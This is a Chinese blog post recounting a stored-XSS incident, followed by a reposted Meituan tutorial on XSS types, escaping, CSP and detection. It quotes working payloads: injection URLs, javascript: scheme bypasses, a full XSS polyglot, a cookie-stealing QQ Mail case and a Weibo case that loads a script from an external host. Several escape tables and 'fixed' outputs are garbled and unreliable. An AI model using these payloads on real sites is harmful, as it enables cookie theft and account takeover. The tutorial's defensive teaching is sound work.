XSS***防范

痛定思痛。 2022-01-15 09:07 352阅读 0赞

## 背景 ##

今天突然接到公司安全部门发来的邮件。说：网站有XSS注入\*\*\*漏洞，得修复一下。

之前也只是对这个有个概念上的理解，知道XSS有反射型XSS、存储型XSS和DOM型XSS。对它到底会造成什么破坏还是没有什么理解。直到这次安全部门发来了我登录我们后台的cookie,我才明白了这个\*\*\*好牛逼。他们用的是存储型的XSS，把它们的坏脚本直接植入到了我们的数据库里去了，后台审核他们提交的内容时脚本就会被触发执行，从而达到盗取我们cookie的行为。

分析了一下有问题的代码，发现是由于对某个字段没有进行过滤和转义，导致他们的恶意代码被植入到了后台数据库。

我们用的是PHP，htmlspecialchars 可以把 一些特殊的html实体进行转义，如 & < > 等都会被转义 ,还有可以用strip\_tags 把提交内容中的HTML标签直接过滤掉，都可以防范。

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【转发】

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## 前端安全 ##

随着互联网的高速发展，信息安全问题已经成为企业最为关注的焦点之一，而前端又是引发企业安全问题的高危据点。在移动互联网时代，前端人员除了传统的 XSS、CSRF 等安全问题之外，又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然，浏览器自身也在不断在进化和发展，不断引入 CSP、Same-Site Cookies 等新技术来增强安全性，但是仍存在很多潜在的威胁，这需要前端技术人员不断进行“查漏补缺”。

近几年，美团业务高速发展，前端随之面临很多安全挑战，因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案，将会做成一个系列，希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

本文我们会讲解 XSS ，主要包括：

1.  XSS \*\*\*的介绍
2.  XSS \*\*\*的分类
3.  XSS \*\*\*的预防和检测
4.  XSS \*\*\*的总结
5.  XSS \*\*\*案例

## XSS \*\*\*的介绍 ##

在开始本文之前，我们先提出一个问题，请判断以下两个说法是否正确：

1.  XSS 防范是后端 RD（研发人员）的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。
2.  所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。

如果你还不能确定答案，那么可以带着这些问题向下看，我们将逐步拆解问题。

### XSS 漏洞的发生和修复 ###

XSS \*\*\*是页面被注入了恶意的代码，为了更形象的介绍，我们用发生在小明同学身边的事例来进行说明。

#### 一个案例 ####

某天，公司需要一个搜索页面，根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下：

<input type="text" value="<%= getParameter("keyword") %>"><button>搜索</button><div>
      您搜索的关键词是：<%= getParameter("keyword") %></div>

然而，在上线后不久，小明就接到了安全组发来的一个神秘链接：

`http://xxx/search?keyword="><script>alert('XSS');</script>`

小明带着一种不祥的预感点开了这个链接\[请勿模仿，确认安全的链接才能点开\]。果然，页面中弹出了写着”XSS”的对话框。

>  
> 
> 可恶，中招了！小明眉头一皱，发现了其中的奥秘：

当浏览器请求 `http://xxx/search?keyword="><script>alert('XSS');</script>` 时，服务端会解析出请求参数 `keyword`，得到 `"><script>alert('XSS');</script>`，拼接到 HTML 中返回给浏览器。形成了如下的 HTML：

<input type="text" value=""><script>alert('XSS');</script>"><button>搜索</button><div>
      您搜索的关键词是："><script>alert('XSS');</script></div>

浏览器无法分辨出 `<script>alert('XSS');</script>` 是恶意代码，因而将其执行。

这里不仅仅 div 的内容被注入了，而且 input 的 value 属性也被注入， alert 会弹出两次。

面对这种情况，我们应该如何进行防范呢？

其实，这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法，把这个漏洞修复：

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>"><button>搜索</button><div>
      您搜索的关键词是：<%= escapeHTML(getParameter("keyword")) %></div>

`escapeHTML()` 按照如下规则进行转义：

|字符|转义后的字符| |-|-| |`&`|`&`| |`<`|`<`| |`>`|`>`| |`"`|`"`| |`'`|`'`| |`/`|`/`|

经过了转义函数的处理后，最终浏览器接收到的响应为：

<input type="text" value=""><script>alert('XSS');</script>"><button>搜索</button><div>
      您搜索的关键词是："><script>alert('XSS');</script></div>

恶意代码都被转义，不再被浏览器执行，而且搜索词能够完美的在页面显示出来。

通过这个事件，小明学习到了如下知识：

*  通常页面中包含的用户输入内容都在固定的容器或者属性内，以文本的形式展示。
 *  \*\*\*者利用这些页面的用户输入片段，拼接特殊格式的字符串，突破原有位置的限制，形成了代码片段。
 *  \*\*\*者通过在目标网站上注入脚本，使之在用户的浏览器上运行，从而引发潜在风险。
 *  通过 HTML 转义，可以防止 XSS \*\*\*。\[事情当然没有这么简单啦！请继续往下看\]。

#### 注意特殊的 HTML 属性、JavaScript API ####

自从上次事件之后，小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置，让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦，于是小明的工作又渐渐变得轻松起来。

但是，作为导演的我，不可能让小明这么简单、开心地改 Bug 。

不久，小明又收到安全组的神秘链接：`http://xxx/?redirect_to=javascript:alert('XSS')`。小明不敢大意，赶忙点开页面。然而，页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码，发现有以下内容：

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>

这段代码，当\*\*\* URL 为 `http://xxx/?redirect_to=javascript:alert('XSS')`，服务端响应就成了：

<a href="javascript:alert('XSS')">跳转...</a>

虽然代码不会立即执行，但一旦用户点击 `a` 标签时，浏览器会就会弹出“XSS”。

>  
> 
> 可恶，又失策了…

在这里，用户的数据并没有在位置上突破我们的限制，仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符，连 `javascript:` 这样的字符串如果出现在特定的位置也会引发 XSS \*\*\*。

小明眉头一皱，想到了解决办法：

// 禁止 URL 以 "javascript:" 开头xss = getParameter("redirect_to").startsWith('javascript:');if (!xss) {
      <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
        跳转...
      </a>
    } else {
      <a href="/404">
        跳转...
      </a>
    }

只要 URL 的开头不是 `javascript:`，就安全了吧？

安全组随手又扔了一个连接：`http://xxx/?redirect_to=jAvascRipt:alert('XSS')`

>  
> 
> 这也能执行？…..好吧，浏览器就是这么强大。

小明欲哭无泪，在判断 URL 开头是否为 `javascript:` 时，先把用户输入转成了小写，然后再进行比对。

不过，所谓“道高一尺，魔高一丈”。面对小明的防护策略，安全组就构造了这样一个连接：

`http://xxx/?redirect_to=%20javascript:alert('XSS')`

`%20javascript:alert('XSS')` 经过 URL 解析后变成 `javascript:alert('XSS')`，这个字符串以空格开头。这样\*\*\*者可以绕过后端的关键词规则，又成功的完成了注入。

最终，小明选择了白名单的方法，彻底解决了这个漏洞：

// 根据项目情况进行过滤，禁止掉 "javascript:" 链接、非法 scheme 等allowSchemes = ["http", "https"];
    
    valid = isValid(getParameter("redirect_to"), allowSchemes);if (valid) {
      <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
        跳转...
      </a>
    } else {
      <a href="/404">
        跳转...
      </a>
    }

通过这个事件，小明学习到了如下知识：

*  做了 HTML 转义，并不等于高枕无忧。
 *  对于链接跳转，如 `<a href="xxx"` 或 `location.href="xxx"`，要检验其内容，禁止以 `javascript:` 开头的链接，和其他非法的 scheme。

#### 根据上下文采用不同的转义规则 ####

某天，小明为了加快网页的加载速度，把一个数据通过 JSON 的方式内联到 HTML 中：

插入 JSON 的地方不能使用 `escapeHTML()`，因为转义 `"` 后，JSON 格式会被破坏。

但安全组又发现有漏洞，原来这样内联 JSON 也是不安全的：

*  当 JSON 中包含 `U+2028` 或 `U+2029` 这两个字符时，不能作为 JavaScript 的字面量使用，否则会抛出语法错误。
 *  当 JSON 中包含字符串 `</script>` 时，当前的 script 标签将会被闭合，后面的字符串内容浏览器会按照 HTML 进行解析；通过增加下一个 `<script>` 标签等方法就可以完成注入。

于是我们又要实现一个 `escapeEmbedJSON()` 函数，对内联 JSON 进行转义。

转义规则如下：

|字符|转义后的字符| |-|-| |`U+2028`|`\u2028`| |`U+2029`|`\u2029`| |`<`|`\u003c`|

修复后的代码如下：

通过这个事件，小明学习到了如下知识：

*  HTML 转义是非常复杂的，在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则，很有可能会埋下 XSS 隐患。
 *  应当尽量避免自己写转义库，而应当采用成熟的、业界通用的转义库。

### 漏洞总结 ###

小明的例子讲完了，下面我们来系统的看下 XSS 有哪些注入的方法：

*  在 HTML 中内嵌的文本中，恶意内容以 script 标签形成注入。
 *  在内联的 JavaScript 中，拼接的数据突破了原本的限制（字符串，变量，方法名等）。
 *  在标签属性中，恶意内容包含引号，从而突破属性值的限制，注入其他属性或者标签。
 *  在标签的 href、src 等属性中，包含 `javascript:` 等可执行代码。
 *  在 onload、onerror、onclick 等事件中，注入不受控制代码。
 *  在 style 属性和标签中，包含类似 `background-image:url("javascript:...");` 的代码（新版本浏览器已经可以防范）。
 *  在 style 属性和标签中，包含类似 `expression(...)` 的 CSS 表达式代码（新版本浏览器已经可以防范）。

总之，如果开发者没有将用户输入的文本进行合适的过滤，就贸然插入到 HTML 中，这很容易造成注入漏洞。\*\*\*者可以利用漏洞，构造出恶意的代码指令，进而利用恶意代码危害数据安全。

## XSS \*\*\*的分类 ##

通过上述几个例子，我们已经对 XSS 有了一些认识。

### 什么是 XSS ###

Cross-Site Scripting（跨站脚本\*\*\*）简称 XSS，是一种代码注入\*\*\*。\*\*\*者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，\*\*\*者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。

为了和 CSS 区分，这里把\*\*\*的第一个字母改成了 X，于是叫做 XSS。

XSS 的本质是：恶意代码未经过滤，与网站正常的代码混在一起；浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。

而由于直接在用户的终端执行，恶意代码能够直接获取用户的信息，或者利用这些信息冒充用户向网站发起\*\*\*者定义的请求。

在部分情况下，由于输入的限制，注入的恶意脚本比较短。但可以通过引入外部的脚本，并由浏览器执行，来完成比较复杂的\*\*\*策略。

这里有一个问题：用户是通过哪种方法“注入”恶意脚本的呢？

不仅仅是业务上的“用户的 UGC 内容”可以进行注入，包括 URL 上的参数等都可以是\*\*\*的来源。在处理输入时，以下内容都不可信：

*  来自用户的 UGC 信息
 *  来自第三方的链接
 *  URL 参数
 *  POST 参数
 *  Referer （可能来自不可信的来源）
 *  Cookie （可能来自其他子域注入）

### XSS 分类 ###

根据\*\*\*的来源，XSS \*\*\*可分为存储型、反射型和 DOM 型三种。

|类型|存储区*|插入点*| |-|-| |存储型 XSS|后端数据库|HTML| |反射型 XSS|URL|HTML| |DOM 型 XSS|后端数据库/前端存储/URL|前端 JavaScript|

*  存储区：恶意代码存放的位置。
 *  插入点：由谁取得恶意代码，并插入到网页上。

#### 存储型 XSS ####

存储型 XSS 的\*\*\*步骤：

1.  \*\*\*者将恶意代码提交到目标网站的数据库中。
2.  用户打开目标网站时，网站服务端将恶意代码从数据库取出，拼接在 HTML 中返回给浏览器。
3.  用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
4.  恶意代码窃取用户数据并发送到\*\*\*者的网站，或者冒充用户的行为，调用目标网站接口执行\*\*\*者指定的操作。

这种\*\*\*常见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信等。

#### 反射型 XSS ####

反射型 XSS 的\*\*\*步骤：

1.  \*\*\*者构造出特殊的 URL，其中包含恶意代码。
2.  用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。
3.  用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
4.  恶意代码窃取用户数据并发送到\*\*\*者的网站，或者冒充用户的行为，调用目标网站接口执行\*\*\*者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是：存储型 XSS 的恶意代码存在数据库里，反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能，如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效，\*\*\*者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS，只不过其触发条件比较苛刻（需要构造表单提交页面，并引导用户点击），所以非常少见。

#### DOM 型 XSS ####

DOM 型 XSS 的\*\*\*步骤：

1.  \*\*\*者构造出特殊的 URL，其中包含恶意代码。
2.  用户打开带有恶意代码的 URL。
3.  用户浏览器接收到响应后解析执行，前端 JavaScript 取出 URL 中的恶意代码并执行。
4.  恶意代码窃取用户数据并发送到\*\*\*者的网站，或者冒充用户的行为，调用目标网站接口执行\*\*\*者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS \*\*\*中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。

## XSS \*\*\*的预防 ##

通过前面的介绍可以得知，XSS \*\*\*有两大要素：

1.  \*\*\*者提交恶意代码。
2.  浏览器执行恶意代码。

针对第一个要素：我们是否能够在用户输入的过程，过滤掉用户输入的恶意代码呢？

### 输入过滤 ###

在用户提交时，由前端过滤输入，然后提交到后端。这样做是否可行呢？

答案是不可行。一旦\*\*\*者绕过前端过滤，直接构造请求，就可以提交恶意代码了。

那么，换一个过滤时机：后端在写入数据库前，对输入进行过滤，然后把“安全的”内容，返回给前端。这样是否可行呢？

我们举一个例子，一个正常的用户输入了 `5 < 7` 这个内容，在写入数据库前，被转义，变成了 `5 < 7`。

问题是：在提交阶段，我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义：

1.  用户的输入内容可能同时提供给前端和客户端，而一旦经过了 `escapeHTML()`，客户端显示的内容就变成了乱码( `5 < 7` )。
2.  在前端中，不同的位置所需的编码也不同。
    
        <div title="comment">5 < 7</div>

*  当 `5 < 7` 通过 Ajax 返回，然后赋值给 JavaScript 的变量时，前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示，也不能直接用于内容长度计算。不能用于标题、alert 等。

*  当 `5 < 7` 作为 HTML 拼接页面时，可以正常显示：

所以，输入侧过滤能够在某些情况下解决特定的 XSS 问题，但会引入很大的不确定性和乱码问题。在防范 XSS \*\*\*时应避免此类方法。

当然，对于明确的输入类型，例如数字、URL、电话号码、邮件地址等等内容，进行输入过滤还是必要的。

既然输入过滤并非完全可靠，我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类：

*  防止 HTML 中出现注入。
 *  防止 JavaScript 执行时，执行恶意代码。

### 预防存储型和反射型 XSS \*\*\* ###

存储型和反射型 XSS 都是在服务端取出恶意代码后，插入到响应 HTML 里的，\*\*\*者刻意编写的“数据”被内嵌到“代码”中，被浏览器所执行。

预防这两种漏洞，有两种常见做法：

*  改成纯前端渲染，把代码和数据分隔开。
 *  对 HTML 做充分转义。

#### 纯前端渲染 ####

纯前端渲染的过程：

1.  浏览器先加载一个静态 HTML，此 HTML 中不包含任何跟业务相关的数据。
2.  然后浏览器执行 HTML 中的 JavaScript。
3.  JavaScript 通过 Ajax 加载业务数据，调用 DOM API 更新到页面上。

在纯前端渲染中，我们会明确的告诉浏览器：下面要设置的内容是文本（`.innerText`），还是属性（`.setAttribute`），还是样式（`.style`）等等。浏览器不会被轻易的被欺骗，执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞（例如 `onload` 事件和 `href` 中的 `javascript:xxx` 等，请参考下文”预防 DOM 型 XSS \*\*\*“部分）。

在很多内部、管理系统中，采用纯前端渲染是非常合适的。但对于性能要求高，或有 SEO 需求的页面，我们仍然要面对拼接 HTML 的问题。

#### 转义 HTML ####

如果拼接 HTML 是必要的，就需要采用合适的转义库，对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎，如 doT.js、ejs、FreeMarker 等，对于 HTML 转义通常只有一个规则，就是把 `& < > " ' /` 这几个字符转义掉，确实能起到一定的 XSS 防护作用，但并不完善：

|XSS 安全漏洞|简单转义是否有防护作用| |-|-| |HTML 标签文字内容|有| |HTML 属性值|有| |CSS 内联样式|无| |内联 JavaScript|无| |内联 JSON|无| |跳转链接|无|

所以要完善 XSS 防护措施，我们要使用更完善更细致的转义策略。

例如 Java 工程里，常用的转义库为 `org.owasp.encoder`。以下代码引用自 [org.owasp.encoder 的官方说明][org.owasp.encoder]。

<div><%= Encode.forHtml(UNTRUSTED) %></div><input value="<%= Encode.forHtml(UNTRUSTED) %>" /><div style="width:<= Encode.forCssString(UNTRUSTED) %>"><div style="background:<= Encode.forCssUrl(UNTRUSTED) %>"><script>
      var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
      alert(msg);</script><script>var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');</script><button
      οnclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
      click me</button><a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top"><a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>"><a href='<%=
      urlValidator.isValid(UNTRUSTED) ?
        Encode.forHtml(UNTRUSTED) :
        "/404"
    %>'>
      link</a>

可见，HTML 的编码是十分复杂的，在不同的上下文里要使用相应的转义规则。

### 预防 DOM 型 XSS \*\*\* ###

DOM 型 XSS \*\*\*，实际上就是网站前端 JavaScript 代码本身不够严谨，把不可信的数据当作代码执行了。

在使用 `.innerHTML`、`.outerHTML`、`document.write()` 时要特别小心，不要把不可信的数据作为 HTML 插到页面上，而应尽量使用 `.textContent`、`.setAttribute()` 等。

如果用 Vue/React 技术栈，并且不使用 `v-html`/`dangerouslySetInnerHTML` 功能，就在前端 render 阶段避免 `innerHTML`、`outerHTML` 的 XSS 隐患。

DOM 中的内联事件监听器，如 `location`、`onclick`、`onerror`、`onload`、`onmouseover` 等，`<a>` 标签的 `href` 属性，JavaScript 的 `eval()`、`setTimeout()`、`setInterval()` 等，都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API，很容易产生安全隐患，请务必避免。

![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/3e724ce0.data:image/png,)<a href="UNTRUSTED">1</a><script>// setTimeout()/setInterval() 中调用恶意代码setTimeout("UNTRUSTED")
    setInterval("UNTRUSTED")// location 调用恶意代码location.href = 'UNTRUSTED'// eval() 中调用恶意代码eval("UNTRUSTED")</script>

如果项目中有用到这些的话，一定要避免在字符串中拼接不可信数据。

## 其他 XSS 防范措施 ##

虽然在渲染页面和执行 JavaScript 时，通过谨慎的转义可以防止 XSS 的发生，但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案，可以降低 XSS 带来的风险和后果。

### Content Security Policy ###

严格的 CSP 在 XSS 的防范中可以起到以下的作用：

*  禁止加载外域代码，防止复杂的\*\*\*逻辑。
 *  禁止外域提交，网站被\*\*\*后，用户的数据不会泄露到外域。
 *  禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。
 *  禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。
 *  合理使用上报可以及时发现 XSS，利于尽快修复问题。

关于 CSP 的详情，请关注前端安全系列后续的文章。

### 输入内容长度控制 ###

对于不受信任的输入，都应该限定一个合理的长度。虽然无法完全防止 XSS 发生，但可以增加 XSS \*\*\*的难度。

### 其他安全措施 ###

*  HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，\*\*\*者完成 XSS 注入后也无法窃取此 Cookie。
 *  验证码：防止脚本冒充用户提交危险操作。

## XSS 的检测 ##

上述经历让小明收获颇丰，他也学会了如何去预防和修复 XSS 漏洞，在日常开发中也具备了相关的安全意识。但对于已经上线的代码，如何去检测其中有没有 XSS 漏洞呢？

经过一番搜索，小明找到了两个方法：

1.  使用通用 XSS \*\*\*字符串手动检测 XSS 漏洞。
2.  使用扫描工具自动检测 XSS 漏洞。

在[Unleashing an Ultimate XSS Polyglot][]一文中，小明发现了这么一个字符串：

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞，也能检测 `eval()`、`setTimeout()`、`setInterval()`、`Function()`、`innerHTML`、`document.write()` 等 DOM 型 XSS 漏洞，并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串，或者把它拼接到 URL 参数上，就可以进行检测了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E

除了手动检测之外，还可以使用自动扫描工具寻找 XSS 漏洞，例如 [Arachni][]、[Mozilla HTTP Observatory][]、[w3af][] 等。

## XSS \*\*\*的总结 ##

我们回到最开始提出的问题，相信同学们已经有了答案：

1.  XSS 防范是后端 RD 的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。

>  
> 
> 不正确。因为： \* 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS \*\*\*不发生在后端，是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。 \* 转义应该在输出 HTML 时进行，而不是在提交用户输入时。

1.  所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。

>  
> 
> 不正确。 不同的上下文，如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等，所需要的转义规则不一致。 业务 RD 需要选取合适的转义库，并针对不同的上下文调用不同的转义规则。

整体的 XSS 防范是非常复杂和繁琐的，我们不仅需要在全部需要转义的位置，对数据进行对应的转义。而且要防止多余和错误的转义，避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS，但我们可以总结以下原则减少漏洞的产生：

*  利用模板引擎 开启模板引擎自带的 HTML 转义功能。例如： 在 ejs 中，尽量使用 `<%= data %>` 而不是 `<%- data %>`； 在 doT.js 中，尽量使用 `{ {! data }` 而不是 `{ {= data }`； 在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 `freemarker.core.OutputFormat`。
 *  避免内联事件 尽量不要使用 `onLoad="onload('{ {data}}')"`、`onClick="go('{ {action}}')"` 这种拼接内联事件的写法。在 JavaScript 中通过 `.addEventlistener()` 事件绑定会更安全。
 *  避免拼接 HTML 前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 `createElement`、`setAttribute` 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。
 *  时刻保持警惕 在插入位置为 DOM 属性、链接等位置时，要打起精神，严加防范。
 *  增加\*\*\*难度，降低\*\*\*后果 通过 CSP、输入长度配置、接口安全措施等方法，增加\*\*\*的难度，降低\*\*\*的后果。
 *  主动检测和发现 可使用 XSS \*\*\*字符串和自动扫描工具寻找潜在的 XSS 漏洞。

## XSS \*\*\*案例 ##

#### QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞 ####

\*\*\*者发现 `http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb` 这个 URL 的参数 `uin`、`domain` 未经转义直接输出到 HTML 中。

于是\*\*\*者构建出一个 URL，并引导用户去点击： `http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B`

用户点击这个 URL 时，服务端取出 URL 参数，拼接到 HTML 响应中：

浏览器接收到响应后就会执行 `alert(document.cookie)`，\*\*\*者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ，进而危害数据安全。

#### 新浪微博名人堂反射型 XSS 漏洞 ####

\*\*\*者发现 `http://weibo.com/pub/star/g/xyyyd` 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是\*\*\*者构建出一个 URL，然后诱导用户去点击：

`http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>`

用户点击这个 URL 时，服务端取出请求 URL，拼接到 HTML 响应中：

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>

浏览器接收到响应后就会加载执行恶意脚本 `//xxxx.cn/image/t.js`，在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作，发出的微博和私信可再带上\*\*\* URL，诱导更多人点击，不断放大\*\*\*范围。这种窃用受害者身份发布恶意内容，层层放大\*\*\*范围的方式，被称为“XSS 蠕虫”。

## 扩展阅读：Automatic Context-Aware Escaping ##

上文我们说到：

1.  合适的 HTML 转义可以有效避免 XSS 漏洞。
2.  完善的转义库需要针对上下文制定多种规则，例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
3.  业务 RD 需要根据每个插入点所处的上下文，选取不同的转义规则。

通常，转义库是不能判断插入点上下文的（Not Context-Aware），实施转义规则的责任就落到了业务 RD 身上，需要每个业务 RD 都充分理解 XSS 的各种情况，并且需要保证每一个插入点使用了正确的转义规则。

这种机制工作量大，全靠人工保证，很容易造成 XSS 漏洞，安全人员也很难发现隐患。

2009年，Google 提出了一个概念叫做：[Automatic Context-Aware Escaping][]。

所谓 Context-Aware，就是说模板引擎在解析模板字符串的时候，就解析模板语法，分析出每个插入点所处的上下文，据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担，也减少了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里，业务 RD 可以这样定义模板，而无需手动实施转义规则：

<html>
      <head>
        <meta charset="UTF-8">
        <title>{
        {.title}}</title>
      </head>
      <body>
        <a href="{
        {.url}}">{
        {.content}}</a>
      </body></html>

模板引擎经过解析后，得知三个插入点所处的上下文，自动选用相应的转义规则：

<html>
      <head>
        <meta charset="UTF-8">
        <title>{
        {.title | htmlescaper}}</title>
      </head>
      <body>
        <a href="{
        {.url | urlescaper | attrescaper}}">{
        {.content | htmlescaper}}</a>
      </body></html>

目前已经支持 Automatic Context-Aware Escaping 的模板引擎有：

*  [go html/template][go html_template]
 *  [Google Closure Templates][]

## 课后作业：XSS \*\*\*小游戏 ##

以下是几个 XSS \*\*\*小游戏，开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入，完成 XSS \*\*\*即可通关。

在玩游戏的过程中，请各位读者仔细思考和回顾本文内容，加深对 XSS \*\*\*的理解。

[alert(1) to win][alert_1_ to win] [prompt(1) to win][prompt_1_ to win] [XSS game][]

## 参考文献 ##

*  Wikipedia. [Cross-site scripting][], Wikipedia.
 *  OWASP. [XSS (Cross Site Scripting) Prevention Cheat Sheet][XSS _Cross Site Scripting_ Prevention Cheat Sheet], OWASP.
 *  OWASP. [Use the OWASP Java Encoder][]\-Use-the-OWASP-Java-Encoder), GitHub.
 *  Ahmed Elsobky. [Unleashing an Ultimate XSS Polyglot][], GitHub.
 *  Jad S. Boutros. [Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems][Automatic Context-Aware Escaping], Google Security Blog.
 *  Vue.js. [v-html - Vue API docs][], Vue.js.
 *  React. [dangerouslySetInnerHTML - DOM Elements][], React.

原文链接：[https://tech.meituan.com/2018/09/27/fe-security.html][https_tech.meituan.com_2018_09_27_fe-security.html]

转载于:https://blog.51cto.com/fulin0532/2359042

[org.owasp.encoder]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project
[Unleashing an Ultimate XSS Polyglot]: https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
[Arachni]: https://github.com/Arachni/arachni
[Mozilla HTTP Observatory]: https://github.com/mozilla/http-observatory/
[w3af]: https://github.com/andresriancho/w3af
[Automatic Context-Aware Escaping]: https://security.googleblog.com/2009/03/reducing-xss-by-way-of-automatic.html
[go html_template]: https://golang.org/pkg/html/template/
[Google Closure Templates]: https://developers.google.com/closure/templates/docs/security
[alert_1_ to win]: https://alf.nu/alert1
[prompt_1_ to win]: http://prompt.ml/
[XSS game]: https://xss-game.appspot.com/
[Cross-site scripting]: https://en.wikipedia.org/wiki/Cross-site_scripting
[XSS _Cross Site Scripting_ Prevention Cheat Sheet]: https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
[Use the OWASP Java Encoder]: https://github.com/OWASP/owasp-java-encoder/wiki/2
[v-html - Vue API docs]: https://vuejs.org/v2/api/#v-html
[dangerouslySetInnerHTML - DOM Elements]: https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml
[https_tech.meituan.com_2018_09_27_fe-security.html]: https://tech.meituan.com/2018/09/27/fe-security.html